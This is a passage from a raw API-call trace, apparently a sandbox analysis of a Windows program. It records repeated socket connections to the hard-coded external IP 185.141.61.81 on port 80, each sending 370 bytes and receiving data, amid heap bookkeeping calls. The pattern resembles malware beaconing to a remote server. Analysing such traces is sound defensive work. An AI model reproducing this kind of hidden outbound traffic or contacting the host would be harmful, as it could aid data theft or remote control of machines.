lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x5c [0031.004] gethostbyname (name="185.141.61.81") returned 0x80bf40*(h_name="185.141.61.81", h_aliases=0x80bf50*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x80bf54*=([0]="185.141.61.81")) [0031.017] htons (hostshort=0x50) returned 0x5000 [0031.018] connect (s=0x5c, name=0x42f124*(sa_family=2, sin_port=0x50, sin_addr="185.141.61.81"), namelen=16) returned 0 [0031.058] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81afa0 [0031.058] GetLastError () returned 0x0 [0031.058] SetLastError (dwErrCode=0x0) [0031.058] GetLastError () returned 0x0 [0031.058] SetLastError (dwErrCode=0x0) [0031.059] GetLastError () returned 0x0 [0031.059] SetLastError (dwErrCode=0x0) [0031.059] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81afa0 | out: hHeap=0x7f0000) returned 1 [0031.059] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81afa0 [0031.059] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d378 [0031.059] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81afa0 | out: hHeap=0x7f0000) returned 1 [0031.059] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x47) returned 0x80be50 [0031.059] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d378 | out: hHeap=0x7f0000) returned 1 [0031.059] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a) returned 0x80da60 [0031.059] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80be50 | out: hHeap=0x7f0000) returned 1 [0031.059] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xe0) returned 0x80f8f8 [0031.059] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80da60 | out: hHeap=0x7f0000) returned 1 [0031.059] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14f) returned 0x81bd00 [0031.059] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80f8f8 | out: hHeap=0x7f0000) returned 1 [0031.059] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1f6) returned 0x822dc8 [0031.059] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81bd00 | out: hHeap=0x7f0000) returned 1 [0031.059] send (s=0x5c, buf=0x822dc8*, len=370, flags=0) returned 370 [0031.059] Sleep (dwMilliseconds=0x32) [0031.120] WSARecv (in: s=0x5c, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x0, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.120] WSAGetLastError () returned 997 [0031.120] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x138, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.152] WSAResetEvent (hEvent=0x138) returned 1 [0031.152] WSAGetOverlappedResult (in: s=0x5c, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.153] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2f0) returned 0x81e880 [0031.153] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x822dc8 | out: hHeap=0x7f0000) returned 1 [0031.153] WSARecv (in: s=0x5c, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x1ff, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.153] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x138, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.153] WSAResetEvent (hEvent=0x138) returned 1 [0031.153] WSAGetOverlappedResult (in: s=0x5c, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.153] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x467) returned 0x81eb78 [0031.153] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81e880 | out: hHeap=0x7f0000) returned 1 [0031.153] WSARecv (in: s=0x5c, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x1b6, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.153] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x138, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.153] WSAResetEvent (hEvent=0x138) returned 1 [0031.153] WSAGetOverlappedResult (in: s=0x5c, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.153] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x69a) returned 0x81efe8 [0031.153] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81eb78 | out: hHeap=0x7f0000) returned 1 [0031.153] WSARecv (in: s=0x5c, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x0, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.153] WSAGetLastError () returned 997 [0031.153] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x138, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.154] WSAResetEvent (hEvent=0x138) returned 1 [0031.154] WSAGetOverlappedResult (in: s=0x5c, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.154] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x9e6) returned 0x822dc8 [0031.154] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81efe8 | out: hHeap=0x7f0000) returned 1 [0031.154] WSARecv (in: s=0x5c, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x1ff, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.154] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x138, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.154] WSAResetEvent (hEvent=0x138) returned 1 [0031.154] WSAGetOverlappedResult (in: s=0x5c, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.154] WSARecv (in: s=0x5c, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x76, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.155] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x138, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.155] WSAResetEvent (hEvent=0x138) returned 1 [0031.155] WSAGetOverlappedResult (in: s=0x5c, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.155] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xed8) returned 0x81e880 [0031.155] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x822dc8 | out: hHeap=0x7f0000) returned 1 [0031.155] WSARecv (in: s=0x5c, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x0, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.155] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x138, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.155] WSAResetEvent (hEvent=0x138) returned 1 [0031.155] WSAGetOverlappedResult (in: s=0x5c, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.155] WSAGetLastError () returned 0 [0031.155] WSASetEvent (hEvent=0x138) returned 1 [0031.155] WSACloseEvent (hEvent=0x138) returned 1 [0031.155] closesocket (s=0x5c) returned 0 [0031.155] WSACleanup () returned 0 [0031.160] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa30) returned 0x8213e8 [0031.160] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0031.160] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa30) returned 0x80eb18 [0031.160] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8213e8 | out: hHeap=0x7f0000) returned 1 [0031.160] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d308 [0031.160] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0031.160] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa30) returned 0x8213e8 [0031.160] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80eb18 | out: hHeap=0x7f0000) returned 1 [0031.160] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d308 | out: hHeap=0x7f0000) returned 1 [0031.160] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0031.160] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa20) returned 0x80eb18 [0031.160] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d308 [0031.160] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa20) returned 0x821fe8 [0031.160] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0031.160] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80eb18 | out: hHeap=0x7f0000) returned 1 [0031.160] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa20) returned 0x80eb18 [0031.160] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821fe8 | out: hHeap=0x7f0000) returned 1 [0031.160] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d308 | out: hHeap=0x7f0000) returned 1 [0031.160] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.160] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b310 [0031.160] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d308 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b310 | out: hHeap=0x7f0000) returned 1 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x47) returned 0x80bf90 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d308 | out: hHeap=0x7f0000) returned 1 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a) returned 0x821e20 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80bf90 | out: hHeap=0x7f0000) returned 1 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x9e) returned 0x821e98 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821e20 | out: hHeap=0x7f0000) returned 1 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xec) returned 0x80cde8 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821e98 | out: hHeap=0x7f0000) returned 1 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x161) returned 0x81bd00 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cde8 | out: hHeap=0x7f0000) returned 1 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x211) returned 0x81b788 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81bd00 | out: hHeap=0x7f0000) returned 1 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x319) returned 0x81abe0 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b788 | out: hHeap=0x7f0000) returned 1 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4a5) returned 0x81f760 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81abe0 | out: hHeap=0x7f0000) returned 1 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6f7) returned 0x81e070 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81f760 | out: hHeap=0x7f0000) returned 1 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa72) returned 0x821fe8 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81e070 | out: hHeap=0x7f0000) returned 1 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x7a0) returned 0x81e070 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x7a0) returned 0x819770 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81e070 | out: hHeap=0x7f0000) returned 1 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x770) returned 0x81e070 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d308 [0031.161] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x770) returned 0x822a68 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0031.161] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81e070 | out: hHeap=0x7f0000) returned 1 [0031.162] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x48) returned 0x80bf90 [0031.162] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d308 | out: hHeap=0x7f0000) returned 1 [0031.162] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b310 [0031.162] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.162] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b0e0 [0031.162] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80bf90 | out: hHeap=0x7f0000) returned 1 [0031.162] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b310 | out: hHeap=0x7f0000) returned 1 [0031.162] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x822a68 | out: hHeap=0x7f0000) returned 1 [0031.162] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b0e0 | out: hHeap=0x7f0000) returned 1 [0031.162] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.162] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819770 | out: hHeap=0x7f0000) returned 1 [0031.162] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821fe8 | out: hHeap=0x7f0000) returned 1 [0031.162] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80eb18 | out: hHeap=0x7f0000) returned 1 [0031.162] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8213e8 | out: hHeap=0x7f0000) returned 1 [0031.162] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807710 | out: hHeap=0x7f0000) returned 1 [0031.162] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81e880 | out: hHeap=0x7f0000) returned 1 [0031.162] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x42f408 | out: lpWSAData=0x42f408) returned 0 [0031.166] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807710 [0031.166] WSACreateEvent () returned 0x68 [0031.166] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x60 [0031.169] gethostbyname (name="185.141.61.81") returned 0x80bf40*(h_name="185.141.61.81", h_aliases=0x80bf50*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x80bf54*=([0]="185.141.61.81")) [0031.184] htons (hostshort=0x50) returned 0x5000 [0031.185] connect (s=0x60, name=0x42f124*(sa_family=2, sin_port=0x50, sin_addr="185.141.61.81"), namelen=16) returned 0 [0031.225] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b0e0 [0031.226] GetLastError () returned 0x0 [0031.226] SetLastError (dwErrCode=0x0) [0031.226] GetLastError () returned 0x0 [0031.226] SetLastError (dwErrCode=0x0) [0031.226] GetLastError () returned 0x0 [0031.226] SetLastError (dwErrCode=0x0) [0031.226] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b0e0 | out: hHeap=0x7f0000) returned 1 [0031.226] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b0e0 [0031.226] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d3e8 [0031.226] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b0e0 | out: hHeap=0x7f0000) returned 1 [0031.226] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x47) returned 0x80be00 [0031.226] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d3e8 | out: hHeap=0x7f0000) returned 1 [0031.226] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a) returned 0x80f9a0 [0031.226] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80be00 | out: hHeap=0x7f0000) returned 1 [0031.226] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xe0) returned 0x81bd00 [0031.226] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80f9a0 | out: hHeap=0x7f0000) returned 1 [0031.226] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14f) returned 0x81b788 [0031.226] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81bd00 | out: hHeap=0x7f0000) returned 1 [0031.226] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1f6) returned 0x81f660 [0031.226] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b788 | out: hHeap=0x7f0000) returned 1 [0031.226] send (s=0x60, buf=0x81f660*, len=370, flags=0) returned 370 [0031.226] Sleep (dwMilliseconds=0x32) [0031.276] WSARecv (in: s=0x60, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x0, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.276] WSAGetLastError () returned 997 [0031.276] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.311] WSAResetEvent (hEvent=0x68) returned 1 [0031.311] WSAGetOverlappedResult (in: s=0x60, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.311] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2f0) returned 0x81f860 [0031.311] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81f660 | out: hHeap=0x7f0000) returned 1 [0031.311] WSARecv (in: s=0x60, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x1ff, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.311] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.311] WSAResetEvent (hEvent=0x68) returned 1 [0031.311] WSAGetOverlappedResult (in: s=0x60, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.311] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x467) returned 0x821fe8 [0031.311] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81f860 | out: hHeap=0x7f0000) returned 1 [0031.311] WSARecv (in: s=0x60, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x1ff, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.311] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.311] WSAResetEvent (hEvent=0x68) returned 1 [0031.311] WSAGetOverlappedResult (in: s=0x60, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.311] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x69a) returned 0x822458 [0031.311] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821fe8 | out: hHeap=0x7f0000) returned 1 [0031.311] WSARecv (in: s=0x60, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x1ff, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.311] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.311] WSAResetEvent (hEvent=0x68) returned 1 [0031.312] WSAGetOverlappedResult (in: s=0x60, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.312] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x9e6) returned 0x822b00 [0031.312] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x822458 | out: hHeap=0x7f0000) returned 1 [0031.312] WSARecv (in: s=0x60, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x1ff, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.312] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.312] WSAResetEvent (hEvent=0x68) returned 1 [0031.312] WSAGetOverlappedResult (in: s=0x60, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.312] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xed8) returned 0x8234f0 [0031.312] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x822b00 | out: hHeap=0x7f0000) returned 1 [0031.312] WSARecv (in: s=0x60, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x2d, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.312] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.312] WSAResetEvent (hEvent=0x68) returned 1 [0031.312] WSAGetOverlappedResult (in: s=0x60, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.312] WSARecv (in: s=0x60, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x0, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.312] WSAGetLastError () returned 997 [0031.312] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x68, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.317] WSAResetEvent (hEvent=0x68) returned 1 [0031.317] WSAGetOverlappedResult (in: s=0x60, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.317] WSAGetLastError () returned 0 [0031.317] WSASetEvent (hEvent=0x68) returned 1 [0031.317] WSACloseEvent (hEvent=0x68) returned 1 [0031.317] closesocket (s=0x60) returned 0 [0031.317] WSACleanup () returned 0 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa30) returned 0x8213e8 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, 